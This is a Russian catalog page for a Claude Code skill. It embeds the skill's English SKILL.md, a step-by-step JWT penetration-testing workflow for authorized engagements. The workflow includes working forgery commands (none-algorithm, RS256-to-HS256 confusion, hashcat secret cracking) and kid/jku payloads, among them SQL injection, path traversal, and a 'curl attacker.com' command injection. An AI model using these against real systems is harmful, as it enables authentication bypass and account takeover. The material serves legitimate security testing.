К основному содержанию
скилл CX Codex

testing-for-json-web-token-vulnerabilities — скилл для Claude Code

Пошаговое руководство для агента по аудиту JWT: поиск обхода проверки подписи, подмена RS256 на HS256, инъекции в kid и перебор секретов.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities -a claude-code
Открыть на GitHub

Что делает testing-for-json-web-token-vulnerabilities

Скилл даёт инструкции и готовые команды для проверки веб-приложений и API на уязвимости в JSON Web Token. Токен проверяется поэтапно. Процесс разбит на шесть шагов: от первичного декодирования без валидации до атак на заголовки и вычисления подписи.

В основе сценариев лежат jwt_tool, расширение JWT Editor для Burp Suite, библиотека PyJWT, а также hashcat и john. Скилл описывает проверку алгоритма none в разных регистрах, технику Algorithm Confusion с использованием публичного ключа сервера, а также инъекции параметров kid через SQL-инъекции или обход путей.

Для работы понадобятся установленный Python с jwt_tool, словарь паролей вроде rockyou.txt и прямой доступ к приложению с JWT-аутентификацией. Инструкции рассчитаны исключительно на согласованные тесты на проникновение.

Какие задачи решает

  • проверить приём сервером незащищённых токенов с алгоритмом none
  • провести атаку algorithm confusion с заменой RS256 на HS256
  • протестировать заголовок kid на SQL-инъекции и path traversal
  • перебрать слабые HMAC-секреты по словарю с помощью hashcat или john

Примеры запросов агенту

  • Проверь этот JWT на уязвимость к алгоритму none через jwt_tool
  • Помоги подделать токен через атаку algorithm confusion с публичным ключом
  • Протестируй параметр kid в токене на обход путей

Как установить testing-for-json-web-token-vulnerabilities

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities -a claude-code

2Вручную: положить файлы

~/.claude/skills/testing-for-json-web-token-vulnerabilities/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/testing-for-json-web-token-vulnerabilities/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора89

analyzing-golang-malware-with-ghidra Разбирает Go-бинарники в Ghidra: достаёт buildinfo, pclntab, имена функций и зависимости. Нужен при анализе образца, собранного на Go. CX Codex +1 441установок analyzing-network-packets-with-scapy Скилл направляет анализ сетевых пакетов через Scapy: от разбора pcap до поиска аномального трафика. Нужен для авторизованного тестирования и сетевой криминалистики. CX Codex +1 441установок analyzing-ios-app-security-with-objection Скилл для runtime-тестирования iOS-приложений через Objection и Frida: дамп keychain, обход SSL pinning, проверка защиты от джейлбрейка. CX Codex +1 436установок implementing-secret-scanning-with-gitleaks Скилл помогает настроить Gitleaks для поиска секретов в Git-репозитории и блокировать их попадание в историю. Нужен для локальных хуков и CI/CD. CX Codex +1 439установок analyzing-network-traffic-for-incidents Скилл для разбора сетевого трафика во время инцидента: ищет C2-каналы, боковое перемещение и утечки данных по PCAP и flow-данным. CX Codex +1 430установок performing-web-application-vulnerability-triage Разбирает отчёты DAST- и SAST-сканеров, отсекает ложные срабатывания и рассчитывает риски по OWASP. Помогает приоритизировать баги для разработчиков. CX Codex +1 433установок analyzing-cobaltstrike-malleable-c2-profiles Разбирает профили Cobalt Strike Malleable C2 и извлекает сетевые признаки для правил обнаружения. Нужен при исследовании профиля или проверке трафика Beacon. CX Codex +1 426установок analyzing-network-traffic-of-malware Разбирает PCAP с сетевой активностью малвари: ищет C2-протоколы, каналы утечки данных и загрузку полезной нагрузки. Пригодится при анализе песочницы или инцидента. CX Codex +1 413установок

Похожие

jwt-oauth-token-attacks yaklang Скилл для Claude и других ИИ-редакторов: разбор атак на токены JWT и потоки OAuth 2.0. Пригодится, когда нужно проверить, как приложение доверяет токенам и ключам. CX Codex +1 3 800установок sign-in-with-google-web официальный google Помогает настроить вход через Google Identity Services на вебе. Защищает токены и закрывает уязвимости авторизации по стандартам IETF. CX Codex 743установок web-testing mrgoonie Скилл для веб-тестирования: юнит, интеграция, E2E, нагрузка, безопасность, визуальные регрессии и доступность. Пригодится, когда нужно навести порядок в тестах проекта. CX Codex +1 442установок unit-test-json-serialization giuseppe-trisciuoglio Скилл подсказывает, как писать юнит-тесты сериализации и десериализации JSON на Jackson и @JsonTest в Spring Boot. CX Codex +1 3 800установок fix-security-vulnerabilities-with-strix usestrix Скилл разбирает подтверждённые Strix-уязвимости, исправляет их причину и повторно запускает проверку. Подойдёт после CLI- или cloud-сканирования. CX Codex +1 15 700установок

Рядом в теме «Безопасность»

Всё по теме «Безопасность» →

Вопросы о testing-for-json-web-token-vulnerabilities

Как установить testing-for-json-web-token-vulnerabilities в Claude Code?

Выполните команду npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-json-web-token-vulnerabilities -a claude-code. Также можно вручную сохранить файл по пути ~/.claude/skills/testing-for-json-web-token-vulnerabilities/SKILL.md.

Что делает этот скилл?

Он предоставляет агенту алгоритм действий для поиска уязвимостей в JWT, включая подделку токенов, манипуляции с заголовками и подмену алгоритмов проверки.

Какие инструменты нужны для проведения тестов?

Требуются утилита jwt_tool, библиотека PyJWT, доступ к целевой системе, а для перебора ключей — hashcat или john со словарём.

Исходный текст

SKILL.md · Apache-2.0
---
name: testing-for-json-web-token-vulnerabilities
description: Tests JWT implementations for algorithm confusion, "none" algorithm bypass,
  kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's
  JWT Editor extension, aiming to achieve authentication bypass and privilege escalation.
  Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or
  SSO systems during a security engagement.
domain: cybersecurity
subdomain: web-application-security
tags:
- jwt
- json-web-token
- algorithm-confusion
- authentication-bypass
- token-forgery
- kid-injection
- jku-attack
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1068
---

# Testing for JSON Web Token Vulnerabilities

## When to Use
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities

## Prerequisites
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Decode and Analyze JWT Structure
```bash
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers
```

### Step 2 — Test "None" Algorithm Bypass
```bash
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)

# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"

# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin

# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
```

### Step 3 — Test Algorithm Confusion (RS256 to HS256)
```bash
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret

# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json

# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
  openssl x509 -pubkey -noout > public_key.pem

# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem

# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
    public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
```

### Step 4 — Test Key ID (kid) Parameter Injection
```bash
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
  -S hs256 -p "secret-key"

# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
  -S hs256 -p ""

# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""

# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"

# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
```

### Step 5 — Test JKU/X5U Header Injection
```bash
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s

# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json

# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"

# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"

# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X i
```

### Step 6 — Brute-Force Weak JWT Secrets
```bash
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name

# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
  -I -pc role -pv admin -pc sub -pv "[email protected]"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |

## Common Scenarios

1. **None Algorithm Bypass** — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
2. **Algorithm Confusion RCE** — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
3. **Kid SQL Injection** — Inject SQL payload in kid parameter to extract the signing key from the database
4. **Weak Secret Cracking** — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
5. **JKU Server Spoofing** — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key

## Output Format

```
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json

### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |

### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой